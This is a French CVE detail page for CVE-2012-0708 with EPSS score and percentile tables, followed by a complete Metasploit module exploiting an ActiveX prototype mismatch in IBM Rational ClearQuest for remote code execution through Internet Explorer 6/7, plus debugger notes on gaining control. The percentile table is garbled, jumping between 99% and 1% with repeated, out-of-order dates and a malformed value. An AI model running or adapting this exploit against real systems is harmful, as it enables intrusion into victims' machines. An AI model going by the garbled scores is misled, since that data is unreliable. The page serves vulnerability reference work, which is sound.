CVE-2012-0708 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	73.88%	–	–
2022-04-10	–	–	71.9%	–	–
2022-07-10	–	–	71.19%	–	–
2022-10-09	–	–	72.3%	–	–
2023-03-12	–	–	–	96.72%	–
2023-03-19	–	–	–	96.63%	–
2023-05-21	–	–	–	96.52%	–
2023-07-23	–	–	–	96.78%	–
2023-09-24	–	–	–	96.99%	–
2023-11-26	–	–	–	96.87%	–
2024-01-21	–	–	–	96.8%	–
2024-03-24	–	–	–	96.52%	–
2024-06-02	–	–	–	96.1%	–
2024-06-09	–	–	–	96.1%	–
2024-07-07	–	–	–	95.32%	–
2024-09-01	–	–	–	96.55%	–
2024-10-27	–	–	–	96.58%	–
2024-12-15	–	–	–	95.03%	–
2024-12-22	–	–	–	95.18%	–
2025-02-02	–	–	–	94.75%	–
2025-01-19	–	–	–	95.18%	–
2025-02-02	–	–	–	94.75%	–
2025-03-18	–	–	–	–	66.57%
2025-03-18	–	–	–	–	66.57,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2022-04-10	99%
2022-07-10	99%
2022-10-09	99%
2023-03-12	99%
2023-03-19	99%
2023-05-21	99%
2023-07-23	1%
2023-09-24	1%
2023-11-26	1%
2024-01-21	1%
2024-03-24	1%
2024-06-02	99%
2024-06-09	1%
2024-07-07	99%
2024-09-01	1%
2024-10-27	1%
2024-12-15	99%
2024-12-22	1%
2025-02-02	99%
2025-01-19	1%
2025-02-02	99%
2025-03-18	98%
2025-03-18	98%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "7.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :classid => "{94773112-72E8-11D0-A42E-00A024DED613}", :method => "RegisterSchemaRepoFromFileByDbSet", :rank => NormalRanking }) def initialize(info={}) super(update_info(info, 'Name' => "IBM Rational ClearQuest CQOle Remote Code Execution", 'Description' => %q{ This module exploits a function prototype mismatch on the CQOle ActiveX control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which allows reliable remote code execution when DEP isn't enabled. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrea Micalizzi aka rgod', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0708' ], [ 'BID', '53170' ], [ 'OSVDB', '81443'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ], ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # cqole.dll 7.1100.0.150 [ 'Automatic', {} ], [ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite ], 'Privileged' => false, 'DisclosureDate' => "May 19 2012", 'DefaultTarget' => 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[1] #IE 7 on Windows XP elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[1] #IE 7 on Windows Vista else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch)) object_id = rand_text_alpha(rand(8) + 4) dbset_value = rand_text_alpha(rand(8) + 4) var_payload = rand_text_alpha(rand(8) + 4) html = <<-EOS <html> <body> <object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object> <script language="JavaScript"> var #{var_payload} = unescape("#{js_code}") #{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload}); </script> </body> </html> EOS html = html.gsub(/^\t\t/, '') print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin * RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called: Breakpoint 0 hit eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 MFC80U!_AfxDispatchCall+0xe: 78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)} * RegisterSchemaRepoFromFile prototype (it is going to be executed): .text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *) his ret is: retn 4 * RegisterSchemaRepoFromFileByDbSet prototype (it should be executed): .text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *) his ret is: retn 8 * When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens: 0:000> p eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MFC80U!_AfxDispatchCall+0x10: 78371064 c3 ret 0:000> dd esp 0013e208 001dcff4 7835f5d2 fffffffe 78336a3a ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is disabled =end